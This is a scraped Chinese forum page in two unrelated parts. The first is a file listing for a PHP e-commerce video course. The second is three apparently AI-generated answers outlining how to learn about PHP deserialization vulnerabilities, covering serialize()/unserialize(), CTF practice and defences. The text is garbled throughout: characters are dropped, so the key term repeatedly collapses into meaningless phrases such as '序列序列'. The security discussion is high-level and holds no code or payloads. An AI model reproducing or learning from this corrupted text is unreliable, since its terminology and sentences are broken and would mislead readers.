大型电子商场开发实战.avi │ ├<day11> │ │ ├[北京思库教育]第103集 大型电子商场开发实战缩略图.avi │ │ ├[北京思库教育]第104集 大型电子商场开发实战缩略图.avi │ │ ├[北京思库教育]第105集 大型电子商场开发实战商品列表.avi │ │ └[北京思库教育]第106集 大型电子商场开发实战.avi │ ├<day12> │ │ ├[北京思库教育]第107集 大型电子商场开发实战.avi │ │ ├[北京思库教育]第108集大型电子商场开发实战.avi │ │ ├[北京思库教育]第109集大型电子商场开发实战.avi │ │ └[北京思库教育]第110集 大型电子商场开发实战.avi │ ├<day13> │ │ ├[北京思库教育]第111集 大型电子商城开发实战.avi │ │ ├[北京思库教育]第112集 大型电子商城开发实战.avi │ │ ├[北京思库教育]第113集 大型电子商城开发实战.avi │ │ └[北京思库教育]第114集 大型电子商城开发实战.avi │ ├<day14> │ │ ├[北京思库教育]第115集 大型电子商城开发实战 开发实战.avi │ │ └[北京思库教育]第116集 大型电子商城开发实战.avi │ ├<day15> │ │ ├[北京思库教育]第116集 大型电子商城开发实战.avi │ │ ├[北京思库教育]第117集 大型电子商城开发实战PDO.mp4 │ │ ├[北京思库教育]第118集 大型电子商城开发实战PDO.avi │ │ └22.docx │ ├<day16> │ │ ├[北京思库教育]第118集 大型电子商城开发实战_thinkphp.avi │ │ ├[北京思库教育]第119集 大型电子商城开发实战_thinkphp.avi │ │ ├[北京思库教育]第120集 大型电子商城开发实战_thinkphp.avi │ │ └[北京思库教育]第121集 大型电子商城开发实战_thinkphp.avi │ ├<day17> │ │ ├[北京思库教育]第122集 大型电子商城开发实战_thinkphp.avi │ │ ├[北京思库教育]第123集 大型电子商城开发实战_thinkphp.avi │ │ ├[北京思库教育]第124集 大型电子商城开发实战_thinkphp.avi │ │ ├[北京思库教育]第125集 大型电子商城开发实战_thinkphp.avi │ │ └[北京思库教育]第126集 大型电子商城开发实战_thinkphp_uedit.avi │ ├<day18> │ │ └[思库教育]第127集 大型电子商城开发实战_thinkphp_关联模型.avi │ ├<day19> │ │ ├[思库教育]第128集 大型电子商城开发实战.avi │ │ ├[思库教育]第129集 大型电子商城开发实战.avi │ │ ├[思库教育]第130集 大型电子商城开发实战.avi │ │ └[思库教育]第131集 大型电子商城开发实战.avi │ ├<day2> │ │ ├[北京思库教育]第73集 文件及目录操作.avi │ │ ├[北京思库教育]第74集 目录操作.avi │ │ ├[北京思库教育]第75集 目录遍历.avi │ │ └[北京思库教育]第76集 目录遍历删除.avi │ ├<day20> │ │ ├[思库教育]第132集 大型电子商城开发实战.avi │ │ └[思库教育]第133集 大型电子商城开发实战.avi │ ├<day21> │ │ ├[思库教育]第133集 大型电子商城开发实战_正则表达式.avi │ │ ├[思库教育]第134集 大型电子商城开发实战_正则表达式.avi │ │ ├demo04.html │ │ └Lesson07.doc │ ├<day22> │ │ ├[思库教育]第135集 大型电子商城开发实战.avi │ │ ├[思库教育]第136集 大型电子商城开发实战.avi │ │ ├[思库教育]第137集 大型电子商城开发实战.avi │ │ ├[思库教育]第138集 大型电子商城开发实战.avi │ │ ├[思库教育]第139集 大型电子商城开发实战.avi │ │ └Lesson07.doc │ ├<day23> │ │ ├[思库教育]第139集 大型电子商城开发实战.avi │ │ └[思库教育]第140集 大型电子商城开发实战.avi │ ├<day24> │ │ ├[思库教育]第140集 大型电子商城开发实战_thinkphp自动验证.avi │ │ └[思库教育]第141集 大型电子商城开发实战_thinkphp.avi │ ├<day25> │ │ ├[思库教育]第142集 大型电子商城开发实战_面包屑导航.avi │ │ ├[思库教育]第143集 大型电子商城开发实战_面包屑导航.mp4 │ │ └[思库教育]第144集 大型电子商城开发实战_商品详细页.avi │ ├<day3> │ │ ├北京思库教育]第77集 shop项目一.avi │ │ ├北京思库教育]第78集 shop项目二.avi │ │ ├北京思库教育]第79集 shop项目三.avi │ │ ├北京思库教育]第80集 shop项目四.avi │ │ └北京思库教育]第81集 shop项目五.avi │ ├<day4> │ │ ├[北京思库教育]第82集 shop项目六.mp4 │ │ ├[北京思库教育]第83集 shop项目七.avi │ │ └17.docx │ ├<day5> │ │ ├[北京思库教育]第84集 shop项目八.avi │ │ ├[北京思库教育]第85集 shop项目九.avi │ │ ├[北京思库教育]第86集 shop项目十.avi │ │ └[北京思库教育]第87集 shop项目十一.avi │ ├<day6> │ │ ├[北京思库教育]第88集 shop项目十二.avi │ │ └[北京思库教育]第89集 shop项目十三.avi │ ├<day7> │ │ ├[北京思库教育]第90集 shop项目十四.avi │ │ ├[北京思库教育]第91集 shop项目十五.avi │ │ └[北京思库教育]第92集 shop项目十四.avi │ ├<day8> │ │ ├[北京思库教育]第93集 shop项目十五.avi │ │ ├[北京思库教育]第93集 大型电子商场开发实战.avi │ │ ├[北京思库教育]第94集 shop项目十六.avi │ │ ├[北京思库教育]第94集 shop项目十七.avi │ │ ├[北京思库教育]第94集大型电子商场开发实战.avi │ │ └[北京思库教育]第95集 大型电子商场开发实战.avi │ ├<day9> │ │ ├[北京思库教育]第96集 大型电子商场开发实战.avi │ │ ├[北京思库教育]第97集 大型电子商场开发实战.avi │ │ ├[北京思库教育]第98集大型电子商场开发实战.avi │ │ └[北京思库教育]第99集 大型电子商场开发实战.avi 课程内容与官方发布的完全一致,可能目录编排有点小问题,内容是完整的
### 回答1: PHP 序列是一种常见的安全漏洞,攻击者可以利用这个漏洞来执行恶意代码或者控制 Web 应用程序。要学习 PHP 序列,您可以按照以下步骤行: 1.了解序列序列的基本概念。序列是将对象转换为字符串的过程,序列则是将字符串转换为对象的过程。在 PHP 中,可以使用 serialize() 和 unserialize() 函数序列序列。 2.学习 PHP 序列的原理和技术。了解攻击者是如何利用序列漏洞来执行恶意代码的,以及如何使用一些工具和技术来发现和利用这些漏洞。 3.掌握 PHP 序列的实际操作。可以通过创建漏洞靶场或者参加 CTF 活动来行实践,学习如何编写和利用序列漏洞的利用代码。 4.学习防御 PHP 序列漏洞的方法。了解一些常见的防御技术和最佳实践,以减少应用程序受到攻击的风险。 在学习 PHP 序列时,建议您选择一些优质的在线资源、书籍、博客或者论坛来学习,例如 OWASP 和 PHP 官方文档。此外,也可以加入一些安全社区或者参加一些培训课程,与其他安全从业者交流和学习经验。 ### 回答2: 学习PHP序列的过程可以分为以下几个步骤: 1.了解序列的概念:了解序列是将已经序列的数据重新转换为原始的数据结构的过程。在PHP中,通过序列可以将序列的对象还原为PHP对象。 2.学习序列序列的基本语法:了解PHP中的序列函数`serialize()`和序列函数`unserialize()`的基本用法和语法。 3.检查可序列的数据源:了解在PHP中可以被序列的数据源有哪些,例如字符串、文件等。同时要注意在序列时,要确保数据源的可靠性,避免恶意数据的注入。 4.了解PHP对象的序列序列学习如何将PHP对象序列为字符串,以及如何将序列的字符串序列PHP对象。要了解序列序列的规则和约束,以确保数据的完整性和可用性。 5.研究PHP序列的安全问题:序列在应用中有一定的安全风险,因为恶意的序列数据可以导致代码执行漏洞。学习安全的序列技术,了解如何避免和防范序列攻击。 6.通过实际练习提升技能:通过实践,结合自己的开发经验,写一些简单的序列代码,并且测试不同的序列情况,加深对序列的理解和掌握。 7.学习相关的安全工具和技术:掌握一些常用的PHP序列漏洞检测工具和安全技术,以提高对序列漏洞的识别和修复能力。 总之,学习PHP序列需要理解概念、语法和安全问题,并通过实践不断提升自己的技能。通过不断学习和实践,可以掌握PHP序列的使用和安全开发技巧。 ### 回答3: PHP序列是指将序列后的数据重新还原成原始的PHP对象或数组的过程。学习PHP序列主要需要掌握以下几个步骤: 1. 了解序列序列的概念:序列是将PHP对象或数组转换成字符串的过程,而序列则是将字符串还原成原始对象或数组的过程。了解这两个概念对于学习PHP序列非常重要。 2. 了解PHP序列函数:PHP提供了一些序列函数,如serialize()函数和unserialize()函数。serialize()函数用于将PHP对象或数组转换成字符串,unserialize()函数则用于将字符串还原成原始对象或数组。 3. 学习序列格式:PHP序列格式是特定的,掌握序列格式对于理解序列非常重要。其中,序列的格式可以通过序列函数生成的字符串来行分析,了解其中的规律和特点。 4. 学习序列漏洞:了解序列漏洞是学习PHP序列的重要一环。序列漏洞是指恶意用户通过在序列时植入恶意代码来实现攻击的一种漏洞。了解序列漏洞的原理及如何预防和修复是学习PHP序列的关键。 5. 实践练习:通过编写PHP代码来序列的实践练习是学习的重要环节。可以尝试使用serialize()函数将PHP对象或数组序列,并使用unserialize()函数将序列后的字符串序列,验证序列是否成功。 总之,学习PHP序列需要了解序列序列的概念、掌握PHP序列函数、学习序列格式、了解序列漏洞以及行实践练习。通过不断学习和实践,可以提高对PHP序列的理解和应用能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值